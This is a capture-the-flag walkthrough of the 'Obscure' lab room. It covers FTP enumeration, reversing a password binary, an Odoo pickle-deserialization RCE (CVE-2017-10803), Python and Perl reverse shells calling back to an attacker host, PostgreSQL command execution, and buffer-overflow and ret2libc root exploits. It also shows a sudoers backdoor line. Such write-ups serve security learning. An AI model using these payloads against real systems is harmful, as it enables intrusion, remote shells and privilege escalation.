Post

Obscure

A CTF room focused on web and binary exploitation.

Obscure

Room

obscure card

  • Title: obscure1.2
  • Name: Obscure
  • Description: A CTF room focused on web and binary exploitation.

Flags

  1. What’s the initial flag?
  2. What’s the user flag?
  3. What’s the root flag?

Author

Flag 1

Nmap Scan

I first started by running an nmap scan.

1
sudo nmap -sS -Pn -T4 -v -p- -A -oN portscan.nmap <target ip>

3 ports are shown to be open:

  • 21/tcp FTP - vsftpd 3.0.3
  • 22/tcp SSH - OpenSSH 7.2p2 Ubuntu 4ubuntu2.10
  • 80/tcp HTTP - Werkzeug httpd 0.9.6 (Python 2.7.9)

0e96c5a8f49531d41dfbc0058cd3bdc0.png

The script scans from Nmap also reveal that anonymous FTP login is allowed

FTP - Anonymous Login

I then connected to the FTP server as anonymous

1
ftp anonymous@<target ip> # No password required (press enter)

There is a directory called pub and there are 2 files in it called notice.txt and password
I downloaded the files to my local machine for inspection.
a6f33bf3ce30348f88ce428e8d832edc.png

notice.txt contents:

From antisoft.thm security,

A number of people have been forgetting their passwords so we’ve made a temporary password application.

We can take away two things from this:

  1. The target’s domain name: antisoft.thm (added this to /etc/hosts)
1
sudo echo "<target ip> antisoft.thm" >> /etc/hosts
  1. The file password is an executable which provides users their passwords if forgoten
1
file password

Let’s run the password binary and see what it does. 5cf4f89336125a11215097dbd740237c.png

It’s asking for an employee ID. If we can reverse engineer this binary and take a look at the source code, we might find some hard-coded IDs which we can use to retrieve some passwords.

For this task, I use Ghidra

Reverse engineering - Ghidra (“password” binary)

  • I first create a new project in Ghidra File > New Project > Non-shared Project > (choose a path and project name)
  • Then I import the binary into the project File > Import File > (select file) > ok 509b0fe09f74782a034aca88cd12b06f.png
  • Now I open the CodeBrowser by clicking on the green dragon icon
    122e1e377f78094b3c353348651e2d84.png
  • It then asks if I want to analyse the binary which I then press yes

Now form the Symbol Tree and then Funtions click on the main function.

Code summary - main function

030881603d8ed1237d10db77b0d77dbe.png

  • It simply prints two lines to the screen (puts)
  • Then takes an input (scanf)
  • The input is then passed to a funtion named pass

Code summary - pass function

89a9e40d9319e7b8b52e03c02efc50fa.png

  • The user-input is compared with a hard-coded employee ID (strcmp)
  • If the comparison results is 0 (0 is represented as ‘true/values match’ by strcmp), the password is printed out
    Side-note
    If you look at the variables above the highlighted code in the picture above, the password is actually right there in hexadecimal.
    local_28 + local_20 + local_18 is the password in hexadecimal and in reverse order.
    I’m not exactly sure why it is in reverse order but I know from previous CTFs that it has something to do with how the system stores each byte in memory (big-endian/little-endian)

Now let’s try the employee ID and see what the password is
f660e30f78f8ad744afddb3ab39b0ebf.png

Perfect, we got a password! But who’s password is this and where can we use it?

HTTP - antisoft.thm

Since we know port 80 is open let’s open the website in a browser.
We are redirected to http://antisoft.thm/web/login
f7eca514cddb35c2a878da2d43ae5141.png

  • We can see that it’s running Odoo

Odoo is a suite of open source business apps that cover all your company needs: CRM, eCommerce, accounting, inventory, point of sale, project management, etc.

  • What really took my attention is the “Manage Databases” option so I clicked on it

It took me to http://antisoft.thm/web/database/manager
bbb4f88b427f0a400116eb61d18ec142.png

  • We can see that it required no authentication whatsoever
  • we can “Backup” the database and simply dump the content for ourselves
  • It then asked me for a Master Password
    1f74ccaa67ce6aa6a50e20a178ad21c2.png

  • I simply used the password that I got from the binary in the previous step and it worked
  • We are provided with the database dump in a zip file
  • Let’s unzip the file
1
mkdir db && unzip <filename> -d ./db

The dump.sql file is what we’re after
After cating out the file I realized that it’s a huge file to scroll through manually so I used grep
Since we are looking for an email address to login and since we know the domain name is antisoft.thm we can simply grep for antisoft.thm

1
grep -iE "*@antisoft\.thm"

d57bdf6038520c6723d5337e34cc7df8.png

  • We find an email address called admin@antisoft.thm
  • We also find a pbkdf2-sha512 hash which is a nightmare to crack since it takes a while
  • I just tried using the email address and the password that we already have and I was able to login

eb18671dd230ed9f8da29da2421d08c6.png

Reverse shell

My first thought after going through the apps list was to install the “Website Builder” and edit some template php file to add <?php system($_GET['cmd']); ?> and get a reverse shell.
After installing it though, I couldn’t find a way to manually edit any php code. So I started enumerating…

In the Settings page we can see that this is Odoo 10.0
21af948bd32e2208c9900e2462024cc2.png A quick google search shows that there is a code execution vulnerability and an exploit for this version.
CVE: CVE-2017-10803
Exploit-db: https://www.exploit-db.com/exploits/44064
Searchsploit: linux/local/44064.md

One of the core Odoo modules, Database Anonymization, allows an administrator to anonymize the contents of the Odoo database. The module does this by serializing the contents of the existing database using Python’s pickle module into a backup file before modifying the contents of the database. The administrator can then de-anonymize the database by loading the pickled backup file.

Python’s pickle module can be made to execute arbitrary Python code when loading an attacker controlled pickle file. With this, an administrator can execute arbitrary Python code with the same privilege level as the Odoo webapp by anonymizing the database then attempt the de-anonymization process with a crafted pickle file.

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle # change this from 'cPickle'
import os
import base64
import pickletools

class Exploit(object):
    def __reduce__(self):
        # Run a python server on your local machine "python3 -m http.server 80"
        # Use curl to see if payload is being executed
        return (os.system, (("curl <attacker ip>/test"),))

with open("exploit.pickle", "wb") as f:
    pickle.dump(Exploit(), f, pickle.HIGHEST_PROTOCOL)

To save you some headache, following the PoC I kept getting an error saying TypeError: 'bool' object is not iterable and I wasn’t getting a reverse shell.
After trying for hours and giving up, I found this write-up explaining that:

  • This error happens and can be ignored
  • You should use python2.7 on the PoC code
  • The target site is running on a restricted docker container which means many common tools will not be present. E.g., no wget, no advanced version of bash or whatever.

For some reason it never occured to me to test the payload to see if I can either ping myself or something. Anyway, moving on…

After testing the payload and seeing that it’s being executed, I replaced the curl payload with a python reverse-shell payload since I know python is installed on the server

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacker_ip>", <attacker_port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

And we’re in…

31b80fbbf11c37b21fca33a323d9ba51.png

1
2
3
4
python -c "import pty; pty.spawn('/bin/bash')"
export TERM=xterm
# Background the shell by pressing CTRL+Z
stty raw -echo && fg
  • We have a reverse-shell as the user odoo
  • The fist flag can be found inside its home directory

19cc5a0f1ceb479079365559758e19ea.png

Flag 2

Let’s get linpeas and pspy onto the machine

1
2
3
4
python3 -m http.server 80 # Attacker machine (run inside linpeas and pspy direcory)
curl <attacker_ip>/linpeas.sh -o linpeas.sh
curl <attacker_ip>/pspy64 -o pspy
chmod 700 linpeas.sh pspy

380da9c6165f8b13d51e22d648c7c0b1.png

Linpeas

c567b6b7fe680703297960ea52cd3ee5.png

We can see nmap and nc are on the machine

2940ba142c1d73ff048e51dc4ae4c625.png

We also notice that /proc is mounted from the host

276aaec3084f4db5ac1749de2d6587f4.png

and that we have dac_override capability inside this container

17f5778c207bcf6f201f58d8948d02ef.png

I noticed that the postgresql is hosted on another host (container) What really caught my attention was this unknown SUID binary identified by linpeas

4385c65a59d6e94c968e15985b16488d.png

Let’s run it…

1b92a81c02604cd351d5f59a4d69d668.png

  • The binary gives us a hint to exploit it to “get on the box”
  • It simply quits whenever an input is provided
  • Let’s download the binary to our local machine and inspect it
1
nc -lvnp 8080 < /ret # run on victim
1
nc <target_ip> 8080 > ./ret # run on attacker machine

Reverse engineering - Ghidra (“ret” binary)

  • The main function simply executes a function called vuln
  • We can see that the vuln function is using gets (a vulnerable function to buffer-overflow attacks) to get user input
  • The variable that the user-input is saved into has been allocated a total of 128 Bytes

f6013addeb5103bdd80d0f346e5cb3b7.png

  • We can also see another function called win which executes a shell for us

10ae76777b7a7797038a4fa1af2ca7cf.png

  • So if we are able to overflow the binary and replace the return address of the vuln function (normaly main) with win, we can execute a shell and get ROOT access to the container since the binary has the SUID bit set.

Buffer-overflow - rooting the container

  • Testing the binary shows that it crashes if the input is 136 Bytes long

24ecbb37b577f4d103aa1e7e82630c60.png

  • Adding 4 more bytes replaces the return address. (41414141 is ‘AAAA’ in hexadecimal)

29cfb7eb6f35e9c0f47db1c3f65dbff5.png

1
python3 -c "print(bytes.fromhex('41414141'))"

Now all we have to do is find the memory address of the win function and add it to our initial 136 Bytes long payload which overflows the binary.
For that we can either use ghidra or objdump

ghidra - win function’s memory address

357d9789031130b765eeeb405dad41b8.png

objdump - win function’s memory address

1
2
objdump -d ./ret | less
/win # 'find' function for 'less'

472a350e40f5c330312c0b0aa17c5326.png

Now we can write a quick exploit to replace the return address to 00400646
Here is the exploit that I came up with

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import sys
import codecs

# The memory address of the function that we want to execute = 00400646 in hexadecimal
# [::-1] reverses the address (little-endian)
win_function_mem_address = b"\x00\x40\x06\x46"[::-1]

# 136 bits causes segmentation fault
payload = b"A" * 136

# Add the target function's memory address to the payload
payload += win_function_mem_address

# Use sys to make sure python properly outputs byte-strings
ascii_stdout = codecs.getreader("ascii")(sys.stdout, errors="strict")

ascii_stdout.write(payload)
  • After trying this exploit locally it wasn’t really working
  • So I decided to just get it onto the target machine and try it there
  • That’s when I was reminded that python3 is not installed in the container
  • Initially I wrote this exploit with python3 in mind which you can simply use the following to output the payload in the write format:
sys.stdout.buffer.write(payload)
  • So with some research (Stackoverflow), I re-wrote the exploit in python2
  • After running the exploit on the target machine we can see that we are able to execute commands and that we have the EUID 0
  • Unfortunately we didn’t see the nice “congratulation…” message that we saw in the source code :(
    • You can type ‘exit’ and hit enter once you run the exploit to see the message if you really want to :)

90a8a87486c821578d2dd62e5b338e62.png

1
(python ./exp.py; cat) | /ret
  • Here we use (python ./exp.py; cat) to keep the shell’s file-descriptors open so we can interact with the system
  • A normal execute and pipe closes the file-descriptors and it just shows us a segmentation fault
  • In order to get UID 0 we can do this
1
python -c "import pty; import os; os.setuid(0); pty.spawn('/bin/bash')"

282f6c396a44aea8be889cdfe1ce1191.png

  • Looking at root’s home directroy we can see a file called flag.txt
  • cating the file out, we see the following message:

Well done,my friend, you rooted a docker container.

c4c056c10f7d94975134ffcc0d0c5925.png

Well, thank you but I was expecting a damn flag here… :(

Container escaping

To save you some headache I spent hours trying to find ways using the mounted /proc to escape the container
The release_agent technique doesn’t work since the cgroup can’t be mounted (permission denied)
I went as far as compromising the host that the DBMS was running on with no luck

Side-note - Postgresql RCE

If you look at the odoo user’s environment variables the database credentials are all there and you can connect to the database using the command below:

1
2
psql -h 172.17.0.2 -U odoo -d main # I used --list to list all DBs and found `main` first
# Then enter the DB password in the environment variable

Now you can use this technique to run system commands within the postgresql DBMS:

CREATE TABLE cmd(output text);
COPY cmd FROM PROGRAM 'id'; -- make sure you're using single-quotes
SELECT * FROM cmd;

aaf75e0c2721cafa1bd2892c61bedc59.png

  • Just to let you know, python is not on the target at all but perl is
  • Here is a usefull perl reverse shell payload which you replace with the ‘id’ above:
1
use Socket;$i="<attacker ip>";$p=<attacker prt>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};
-- I base64-encoded the above payload to avoid escaping every single-quote
-- Before encoding it I placed the payload like this: perl -e '<payload>'
-- The final payload/query is this:
COPY cmd FROM PROGRAM 'echo <base64_payload> | base64 -d | bash';

31d706b75212b3f492d9623c759f25d9.png

Pivoting / Container escape

After remembering that the nmap was on the box for some reason, I decied to use it and find other online hosts on the subnet

1
nmap -sn -PE 172.17.0.0/16 -T4 # Host discovery

4eb021f78ecc4461369c888a0ee6b2d5.png

  • Here we find the host 172.17.0.1
  • From the domain name I suspect that this is the host
  • Let’s scan it and find it’s open ports
1
nmap -sS -Pn -v -T4 -A 172.17.0.1 # Port and service scan
  • After seeing the port scan results and connecting to the FPT and seeing the same directory and files we saw on the host, my suspisions were confirmed
  • We see that the port 4444 is open but we didn’t see this port on our initial scan of the host
  • That is because the port is only accessible localy (127.0.0.1:4444) and not (0.0.0.0:4444)
    2e265c99d99a9333a9607ce429e18475.png
  • Let’s use the available nc on the container to see what is running on that port
1
nc 172.17.0.1 4444

e6e5e9c1def328b87c130496b0a35db2.png

  • We see something familiar (I think you already know what we have to do to escape the container XD)

All we have to do now is to run our exploit against this host

1
(python ./exp.py; cat) | nc 172.17.0.1 4444

aaaaaand we have successfully escaped the contianer:

417e04181ee6de4520a618cfe9bc6568.png

  • We get access as a user called zeeshan
  • You can find their private SSH key in their home folder
  • Let’s copy it to our machine and connect to the host via SSH

781b19d4cfefb96de813653043c91b00.png

1
2
3
4
5
cat .ssh/id_rsa
# Copy the content
nano id_rsa # Paste content here on your attacker machine then CTRL+O to save and CTRL+x to exit
chmod 600 id_rsa # Otherwise ssh won't use it
ssh zeeshan@antisoft.thm -i ./id_rsa
  • We also see the file user.txt, let’s cat it and get our flag

d166e073567296a4ab3c667e6f8a5d44.png

Flag 3

After enumerating the machine, we find the /exploit_me file which has the SUID bit set. Let’s get it onto our local machine and analyse it.

1
checksec ./exploit_me

7e2d83b9c8b66beb0fa28b0cdb6ff010.png

  • We can see that there are no canaries and no address randomization being used.
  • The NX is set which means we can’t use custom shellcodes to exploit a vulnerability since this makes the stack unexecutable

Running the binary simply waits for some input and quits right after:

94dd0171d2d546f7ee0fb9f799c00944.png

I de-assembled and de-compiled the binary with IDA for inspection: 96f46084c4b1b864ea14c3332416fa54.png

  • A variable is initialized first with a 32-Byte allocated buffer (20 hexadecimal = 32 decimal)
  • The binary sets the UID to 0 (root)
  • It then calls puts() to print out the message
  • Then a call is made to the gets() function which we know is vulnerable to the BOF

Since there are no other functions being called with which we can overwrite the return address and that the NX bit is set and it is impossible to run custom shellcodes, this led me to believe that a ret2libc attack needs to be done here. At this point, since I had very little experience with binary exploitation, I spent two weeks trying to learn as much as I can. Here are some of the resources that I used:

I actually learned alot during these 2 weeks but If I’m being honest, there is so much more that I need to learn and since binary exploitaion is not my favorite subject, I don’t want to spend more time on it. Maybe I’ll come back to it in the future.

Let’s analyse the binary and find the offset for our payload. I will use gdb-peda for this:

1
2
3
gdb ./exploit_me
pattern create 50 pattern.txt
r < pattern.txt

1941da9e0700322b59df9cd5dfb41845.png

  • I created a pattern and ran the binary using the pattern as input to find the offset that it takes to overwrite the RSP register
  • By using the command below we can find the offset in gdb which will tell us that it is 40
    1
    
    pattern offset "AA0AAFAAbA"
    

    a90b4ba0d4785ffa74d97e0d1808ae8a.png

Let’s check to see if ASLR is enabled on the target machine:

1
2
3
4
cat /proc/sys/kernel/randomize_va_space # Output = 2
# 2 = Full randomization
# 1 = Conservative randomization
# 0 = No randomization
  • Since ASLR is enabled on the target machine, we need to leak the address of the libc functions used in the binary at run-time and use those addresses to calculate the offset to the system() function within libc .

  • We will then re-execute main() with ROP (Return oriented programming) and replace the address of a function in the .got.plt table with the system() address and pass it the /bin/sh-string address (which can also be found in libc) as the argument.

If this is all too complicated, believe me it was a lot for me at first too. I really reocmmend watching those resources I mentioned above to fully grasp what is going on here.

We can use pwntools to run the exploit remotely via ssh!

Using the exploit below, I’m able to leak the functions used by the binary wich are inside libc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

######################## Stage 1
user = "zeeshan"
port = 22
host = "antisoft.thm"
private_key = "./id_rsa"

ssh_connection = ssh(host=host, user=user, keyfile=private_key, port=port)

# Load the binary
context.binary = binary = ELF("./exploit_me", checksec=False)
_ROP = ROP(binary)


padding = b'A' * 40
pop_rdi_ret_address = p64(_ROP.find_gadget(["pop rdi", "ret"])[0])
plt_puts_address = p64(binary.plt.puts)
got_puts_address = p64(binary.got.puts) 
got_gets_address = p64(binary.got.gets)
got_setuid_address = p64(binary.got.setuid)
main_address = p64(binary.symbols.main)

payload = padding
payload += pop_rdi_ret_address + got_puts_address + plt_puts_address
payload += pop_rdi_ret_address + got_gets_address + plt_puts_address
payload += pop_rdi_ret_address + got_setuid_address + plt_puts_address
payload += main_address

p = ssh_connection.process("/exploit_me")
p.recvline()
p.sendline(payload)
output = p.recv().split(b"\n")

# Left-justify the returned hex so it can be unpacked.
puts_address = u64(output[0].ljust(8, b"\x00"))
gets_address = u64(output[1].ljust(8, b"\x00"))
setuid_address = u64(output[2].ljust(8, b"\x00"))

print(f"Puts address: {hex(puts_address)}")
print(f"Gets address: {hex(gets_address)}")
print(f"Setuid address: {hex(setuid_address)}")

4366d16fdb89afb9864d625a88fdc1c4.png

  • The first 2 and the last 3 nibbles of each address are always the same in each runtime
  • That is because ASLR only randomizes the bits in between
  • The last 3 nibbles are usually different in each libc version so by running the exploit remotely, we grab the last 3 digits and go here and find the libc version
  • We can then calculate the offset to the base address of libc

2e3ac4c2ce7178702d94a4272d3426d6.png

Let’s go ahead and download the .so file for the first libc version found and try it To find out the base address of libc, all we have to do is add this to the exploit above:

1
2
3
libc = ELF("./libc6_2.23-0ubuntu11.2_amd64.so", checksec=False)
libc.address = puts_address - libc.sym["puts"]
print(f"libc Base address: {hex(libc.address)}")

Now we need to craft a new payload which finds the /bin/sh string within libc and passes it to our call to system() as the argument Now there some aligment issues in memory with Ubuntu which requires us to simply add a ret instruction after our padding

After trying the first libc version (ubuntu11.2), it was failing so I tried the other one. The only difference between the two version is the address of str_bin_sh otherwise system() is at the same address in both versions (The only different that matters to us)

The final exploit looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *

######################## Stage 1
user = "zeeshan"
port = 22
host = "antisoft.thm"
private_key = "./id_rsa"

ssh_connection = ssh(host=host, user=user, keyfile=private_key, port=port)

context.binary = binary = ELF("./exploit_me", checksec=False)
# context.log_level = "debug" -- un-comment for debugging

_ROP = ROP(binary)

padding = b'A' * 40
pop_rdi_ret_address = p64(_ROP.find_gadget(["pop rdi", "ret"])[0])
plt_puts_address = p64(binary.plt.puts)
got_puts_address = p64(binary.got.puts)
got_gets_address = p64(binary.got.gets)
got_setuid_address = p64(binary.got.setuid)
main_address = p64(binary.symbols.main)

payload = padding
payload += pop_rdi_ret_address + got_puts_address + plt_puts_address
payload += pop_rdi_ret_address + got_gets_address + plt_puts_address
payload += pop_rdi_ret_address + got_setuid_address + plt_puts_address
payload += main_address

p = ssh_connection.process("/exploit_me")
p.recvline()
p.sendline(payload)
output = p.recv().split(b"\n")

puts_address = u64(output[0].ljust(8, b"\x00"))
gets_address = u64(output[1].ljust(8, b"\x00"))
setuid_address = u64(output[2].ljust(8, b"\x00"))

print(f"Puts address: {hex(puts_address)}")
print(f"Gets address: {hex(gets_address)}")
print(f"Setuid address: {hex(setuid_address)}")

######################## Stage 2

libc = ELF("./libc6_2.23-0ubuntu11.3_amd64.so", checksec=False)
libc.address = puts_address - libc.sym["puts"]
print(f"libc Base address: {hex(libc.address)}")

bin_sh_address = p64(next(libc.search(b"/bin/sh")))
pop_rdi_ret_address = p64(_ROP.find_gadget(["pop rdi", "ret"])[0])
alignment_issue_ret_address = p64(_ROP.find_gadget(["ret"])[0])
system_address = p64(libc.symbols.system)

payload = padding
payload += alignment_issue_ret_address
payload += pop_rdi_ret_address
payload += bin_sh_address
payload += system_address

p.sendline(payload)
p.interactive()

f525d609434f8836359a753fce1e16b6.png

I used the below command to become root in the SSH session for easier use:

1
echo "zeeshan ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers

3958144d24a71f1963b615da6b62a07a.png

You can find the third flag inside root’s home directory

8a5470d847490cca8567383cb5394b65.png

Outro

Many thanks to the creator of this room. (Zeeshan1234) It was an amazing experience and taught me a lot about binary exploitation.

- m3gakr4nus

This post is licensed under CC BY 4.0 by the author.